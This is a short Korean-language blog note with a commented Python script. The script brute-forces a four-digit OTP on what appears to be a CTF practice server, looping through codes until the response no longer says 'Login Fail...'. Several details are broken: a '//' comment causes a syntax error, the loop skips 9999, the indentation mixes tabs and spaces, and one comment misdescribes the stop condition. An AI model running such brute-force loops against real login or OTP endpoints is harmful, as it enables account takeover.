본문 바로가기

Python

URL 변경

import requests #HTTP 요청을 보내고 응답을 받을때 사용한다

print("크랙시작") #출력

for i in range(0,9999): #i가 0부터 9999까지 4자리?
    number = str(i).zfill(4) //i를 문자열로변환후 문자열의 길이를 4자리로 맞춘다 왼쪽에0을채워서
    print("입력" + number, end="\r") #number 출력되고 출력후 커서가 해당줄 맨 앞으로 이동
    response = requests.get("http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum=" + number)
    #resquests.get은 url에 get요청을 보내고 응답을 받는다 해당 링크를 보내고 + number을 연결한다

    if 'Login Fail...' not in response.text: 
    #responce.text requests라이브러리로 응답의 body를 확인후 응답을 문자열로 반환한다
    #body 값에 Login Fail...이라는 문자열이 있으면 반복을 중지한다
    	print("\n크랙결과" + number) #크랙결과를 출력한다
        break #크랙결과를 출력한후 파일을 중지한다